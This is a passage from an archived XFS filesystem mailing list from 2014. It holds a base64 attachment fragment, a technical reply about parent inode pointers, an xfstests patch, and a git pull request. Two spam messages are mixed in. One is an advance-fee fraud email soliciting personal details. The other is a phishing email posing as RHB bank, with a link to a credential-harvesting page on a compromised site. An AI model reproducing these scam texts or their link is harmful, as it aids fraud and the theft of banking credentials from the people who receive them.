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 Bz/2Z//kBwQAOw== ------=_NextPart_000_25D1_01CF1C7A.12ABA3A0-- From gwehrman@sgi.com Tue Jan 28 16:02:35 2014 Return-Path: <gwehrman@sgi.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0E8AA7F66 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 16:02:35 -0600 (CST) Received: from goalpost.americas.sgi.com (goalpost.americas.sgi.com [128.162.232.54]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7C669AC00C; Tue, 28 Jan 2014 14:02:31 -0800 (PST) Received: by goalpost.americas.sgi.com (Postfix, from userid 14442) id F409928AE4; Tue, 28 Jan 2014 16:02:30 -0600 (CST) Date: Tue, 28 Jan 2014 16:02:30 -0600 From: Geoffrey Wehrman <gwehrman@sgi.com> To: Dave Chinner <david@fromorbit.com> Cc: Mark Tinguely <tinguely@sgi.com>, xfs@oss.sgi.com Subject: Re: [RFC 00/17] RFC parent inode pointers. Message-ID: <20140128220230.GF13953@sgi.com> References: <20140115220012.624438534@sgi.com> <20140116055607.GR3431@dastard> <52D99FD2.6000601@sgi.com> <20140118031247.GE18112@dastard> <52E6B67B.6070001@sgi.com> <20140128030040.GG2212@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140128030040.GG2212@dastard> User-Agent: Mutt/1.5.14 (2007-02-12) On Tue, Jan 28, 2014 at 02:00:40PM +1100, Dave Chinner wrote: | On Mon, Jan 27, 2014 at 01:41:47PM -0600, Mark Tinguely wrote: | > 2) Add the filename to EA. Not a fan, but I will ask but if DMF needs it | > for performance then it has to be done. My point was this assumes | > that we can keep all the links' EA entries inline in the inode. A | > couple 255 character files or several links of modest sized filenames | > would negate that assumption. I tried to minimize the EA entries to | > keep them inline in the inode. I will talk to the DMF group. | | Actually, I made the point about DMF needing them inline performance | because that's an argument SGI might find persuasive. What I didn't | say just then is that *I* need them inline, too, as online directory | tree scrubbing needs to be able to do bulks scans, as does | xfs_repair. However, I have idefinitely said this before in previous | parent poitner discussions, so it should be no surprise here... I appologize in advance for my ignorance. What is "online directory tree scrubbing" and how does it benefit from parent inode pointers? -- Geoffrey Wehrman From sunzhii@live.cn Tue Jan 28 16:43:07 2014 Return-Path: <sunzhii@live.cn> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.4 required=5.0 tests=COMPENSATION,FREEMAIL_FROM, FREEMAIL_REPLYTO,LOTS_OF_MONEY,MONEY_FRAUD_3,T_MONEY_PERCENT autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F397B7F9D for <linux-xfs@oss.sgi.com>; Tue, 28 Jan 2014 16:43:06 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id DDE5B30406A for <linux-xfs@oss.sgi.com>; Tue, 28 Jan 2014 14:43:03 -0800 (PST) X-ASG-Debug-ID: 1390948978-04cb6c31f5179460001-w1Z2WR Received: from mail.goedegebuure.nl (mail.goedegebuure.nl [95.97.198.144]) by cuda.sgi.com with ESMTP id 7XCWqXUl3MMECM36 for <linux-xfs@oss.sgi.com>; Tue, 28 Jan 2014 14:42:59 -0800 (PST) X-Barracuda-Envelope-From: sunzhii@live.cn X-Barracuda-Apparent-Source-IP: 95.97.198.144 Received: from [10.8.137.231] ([188.188.26.46]) by mail.goedegebuure.nl with Microsoft SMTPSVC(6.0.3790.4675); Tue, 28 Jan 2014 23:42:57 +0100 Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Subject: Contact Me Please To: Recipients <sunzhii@live.cn> X-ASG-Orig-Subj: Contact Me Please From: "Mr. SUN Zhijun" <sunzhii@live.cn> Date: Tue, 28 Jan 2014 23:42:51 +0100 Reply-To: sun.zhijun@yahoo.com.hk Message-ID: <SRV-SBSe2Qw4hVJbrzv0000040e@mail.goedegebuure.nl> X-OriginalArrivalTime: 28 Jan 2014 22:42:57.0979 (UTC) FILETIME=[4A9350B0:01CF1C7A] X-Barracuda-Connect: mail.goedegebuure.nl[95.97.198.144] X-Barracuda-Start-Time: 1390948978 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.50 X-Barracuda-Spam-Status: No, SCORE=1.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, BSF_SC3_MV0132_3 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144580 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.00 BSF_SC3_MV0132_3 Custom rule MV0132_3 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address Guten Tag, Mein Name ist Mr.SUN Zhijun, ich mit der Bank of China zu arbeiten. Ich bra= uche Ihre Unterst=FCtzung in Durchf=FChrung einer Transaktion bei $ 18,5 Mi= llionen Dollar gesch=E4tzt, m=F6chte ich Ihnen 30% der gesamten Mittel als = Ausgleich f=FCr Ihre Unterst=FCtzung in dieser Transaktion. Ich werde Sie = =FCber die vollst=E4ndige Transaktion benachrichtigt nach Eingang Ihrer Ant= wort, wenn interessiert, bitte senden Sie mir Ihren vollst=E4ndigen detials= als unten, um meine E-Mail aufgef=FChrt: sun.zhijun@yahoo.com.hk 1. Vollst=E4ndiger Name 2.Private Telefonnummer 3.Current Wohnadresse Mit freundlichen Gr=FC=DFen, Mr.SUN Zhijun From bfoster@redhat.com Tue Jan 28 17:06:49 2014 Return-Path: <bfoster@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BAB257F9E for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 17:06:49 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B41318F804B for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 15:06:46 -0800 (PST) X-ASG-Debug-ID: 1390950405-04cbb05baa1cc5e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id hmPKtCNmkNHONATI for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 15:06:45 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0SN6jdG023056 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 18:06:45 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0SN6jno021760 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 18:06:45 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 77F2B12509A; Tue, 28 Jan 2014 18:06:43 -0500 (EST) From: Brian Foster <bfoster@redhat.com> To: xfs@oss.sgi.com Subject: [PATCH] xfstests: don't use TEST_DIR before initialized in generic/313 Date: Tue, 28 Jan 2014 18:06:43 -0500 X-ASG-Orig-Subj: [PATCH] xfstests: don't use TEST_DIR before initialized in generic/313 Message-Id: <1390950403-19755-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390950405 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The 'testfile' environment variable is initialized before the xfstests environment is included into generic/313. TEST_DIR is not defined at this point and causes the test to operate on the root. Move the testfile initialization down after the general environment is sourced. Signed-off-by: Brian Foster <bfoster@redhat.com> --- tests/generic/313 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tests/generic/313 b/tests/generic/313 index 1237ded..623c777 100755 --- a/tests/generic/313 +++ b/tests/generic/313 @@ -29,7 +29,6 @@ seqres=$RESULT_DIR/$seq echo "QA output created by $seq" here=`pwd` -testfile=$TEST_DIR/testfile.$seq status=1 # failure is the default! trap "_cleanup; exit \$status" 0 1 2 3 15 @@ -47,6 +46,8 @@ _cleanup() _supported_fs generic _supported_os IRIX Linux +testfile=$TEST_DIR/testfile.$seq + echo "Silence is golden" $here/src/t_truncate_cmtime $testfile 2>&1 -- 1.8.1.4 From bpm@sgi.com Tue Jan 28 19:12:13 2014 Return-Path: <bpm@sgi.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2F7917FA7 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 19:12:13 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 90D67304066; Tue, 28 Jan 2014 17:12:09 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 253624266DC; Tue, 28 Jan 2014 19:12:09 -0600 (CST) To: torvalds@linux-foundation.org Subject: [GIT PULL] XFS update #2 for 3.14-rc1 Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Message-Id: <20140129011209.253624266DC@whiskey.americas.sgi.com> Date: Tue, 28 Jan 2014 19:12:09 -0600 (CST) From: bpm@sgi.com (Ben Myers) Hi Linus, Please pull this xfs update for 3.14. This is to allow logical sector sized direct io on advanced format disks. Thanks, Ben The following changes since commit bf3964c188d686424ff7b69a45941851b9f437f0: Merge branch 'xfs-extent-list-locking-fixes' into for-next (2014-01-09 16:03:18 -0600) are available in the git repository at: git://oss.sgi.com/xfs/xfs.git tags/xfs-for-linus-v3.14-rc1-2 for you to fetch changes up to 7c71ee78031c248dca13fc94dea9a4cc217db6cf: xfs: allow logical-sector sized O_DIRECT (2014-01-24 11:55:42 -0600) ---------------------------------------------------------------- xfs: update #2 for v3.14-rc1 - allow logical sector sized direct io on 'advanced format' 4k/512 disk. ---------------------------------------------------------------- Eric Sandeen (3): xfs: clean up xfs_buftarg xfs: rename xfs_buftarg structure members xfs: allow logical-sector sized O_DIRECT fs/xfs/xfs_buf.c | 14 +++++++++----- fs/xfs/xfs_buf.h | 20 +++++++++++++++++--- fs/xfs/xfs_file.c | 7 +++++-- fs/xfs/xfs_ioctl.c | 2 +- 4 files changed, 32 insertions(+), 11 deletions(-) From apache@reputationmanagementservices.com Tue Jan 28 21:38:01 2014 Return-Path: <apache@reputationmanagementservices.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BF8ED7F9E for <linux-xfs@oss.sgi.com>; Tue, 28 Jan 2014 21:38:01 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B0719304059 for <linux-xfs@oss.sgi.com>; Tue, 28 Jan 2014 19:37:58 -0800 (PST) X-ASG-Debug-ID: 1390966670-04cb6c75081b8620001-w1Z2WR Received: from reputationmanagementservices.com (50-57-139-74.static.cloud-ips.com [50.57.139.74]) by cuda.sgi.com with ESMTP id iIMPGDUA1AXn8u3L for <linux-xfs@oss.sgi.com>; Tue, 28 Jan 2014 19:37:50 -0800 (PST) X-Barracuda-Envelope-From: apache@reputationmanagementservices.com X-Barracuda-Apparent-Source-IP: 50.57.139.74 Received: by reputationmanagementservices.com (Postfix, from userid 48) id 8DD7B59174D; Tue, 28 Jan 2014 22:05:05 -0600 (CST) To: linux-xfs@oss.sgi.com Subject: Account verification X-PHP-Originating-Script: 48:m.php X-ASG-Orig-Subj: Account verification From: RHB <rhb@rhb.com.my> Reply-To: noreply@rhb.com.my MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: <20140129040505.8DD7B59174D@reputationmanagementservices.com> Date: Tue, 28 Jan 2014 22:05:05 -0600 (CST) X-Barracuda-Connect: 50-57-139-74.static.cloud-ips.com[50.57.139.74] X-Barracuda-Start-Time: 1390966670 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA578_CH, BSF_SC7_SA578b, HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144590 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC7_SA578_CH Custom Rule SA578_CH 2.10 BSF_SC7_SA578b Custom Rule SA578b <html> <head> </head> <body> <p><font face="Arial" size="2">Dear Customer, </p> Your mobile phone number associated to your RHB account must be verified. Please visit RHB now in order to verify your information and complete the authentication process. <br> <b> <a target="_blank" href="http://www.primeessaywritings.com/wp-admin/css/login/rhb/">Access your account securely now >></a></b></p> <p>Regards,<br> RHB Customer Service<br> ___________________</p> <p>Fulfill all your banking needs with RHB Banking Simplified</font></p> <p> </p> </body> </html> From gnehzuil.liu@gmail.com Tue Jan 28 21:43:54 2014 Return-Path: <gnehzuil.liu@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C51967FA5 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 21:43:53 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4D2AAAC004 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 19:43:50 -0800 (PST) X-ASG-Debug-ID: 1390967028-04cbb05bab1d2b40001-NocioJ Received: from mail-pb0-f46.google.com (mail-pb0-f46.google.com [209.85.160.46]) by cuda.sgi.com with ESMTP id WEpBSmp9r1AYzho7 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 19:43:48 -0800 (PST) X-Barracuda-Envelope-From: gnehzuil.liu@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.46 Received: by mail-pb0-f46.google.com with SMTP id um1so1215605pbc.19 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 19:43:47 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mail-followup-to:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; bh=Ixl9EOJ8+DGYCPqV0eBvKFk0lxwxiGM9eO3EoNJsMnw=; b=K1+/1zH9G8W8EDm7fJv9qEEEHzlsCfJP+DJzpMnh/MYSaBw4+Dgos1PV6A8OoEVNP0 7+k+wZmfp2cqq3MUWoJnFwQasjQn6ZVxE6rpEl+MfnHDIQi/6+WmfPQ3YJZ/aFlLNSde 9moYJ5XphTAl76q80zMMoLQ5TcGDk/kd3rWb58mhN7xa3/Pbuk6zRna176xbqVB2YmKW MSF1bsjIAvIkKBcP2Ox/Mn0LLev6UDgMtRO14+ipymPgrXTMQY7/qk5qiPUuVJkAsNkg PmDtWvyeD0p4wn6SEt2XsUUnw4TAwHgLiUotPP09j6aaETaGW/nnMWZLHTf8qABmQxIU gFeg== X-Barracuda-BBL-IP: nil X-Received: by 10.68.178.229 with SMTP id db5mr5336920pbc.97.1390967027832; Tue, 28 Jan 2014 19:43:47 -0800 (PST) Received: from gmail.com ([182.92.253.3]) by mx.google.com with ESMTPSA id e6sm1909856pbg.4.2014.01.28.19.43.42 for <multiple recipients> (version=TLSv1 cipher=RC4-SHA bits=128/128); Tue, 28 Jan 2014 19:43:46 -0800 (PST) Date: Wed, 29 Jan 2014 11:48:25 +0800 X-Barracuda-Apparent-Source-IP: 182.92.253.3 From: Zheng Liu <gnehzuil.liu@gmail.com> To: Jan Kara <jack@suse.cz> Cc: linux-ext4 <linux-ext4@vger.kernel.org>, linux-fsdevel <linux-fsdevel@vger.kernel.org>, xfs@oss.sgi.com, Theodore Ts'o <tytso@mit.edu>, Andreas Dilger <adilger.kernel@dilger.ca>, Dmitry Monakhov <dmonakhov@openvz.org>, Li Xi <pkuelelixi@gmail.com>, Dave Chinner <david@fromorbit.com>, Ben Myers <bpm@sgi.com> Subject: Re: [RFC] A draft for making ext4 support project quota Message-ID: <20140129034824.GA12757@gmail.com> X-ASG-Orig-Subj: Re: [RFC] A draft for making ext4 support project quota Mail-Followup-To: Jan Kara <jack@suse.cz>, linux-ext4 <linux-ext4@vger.kernel.org>, linux-fsdevel 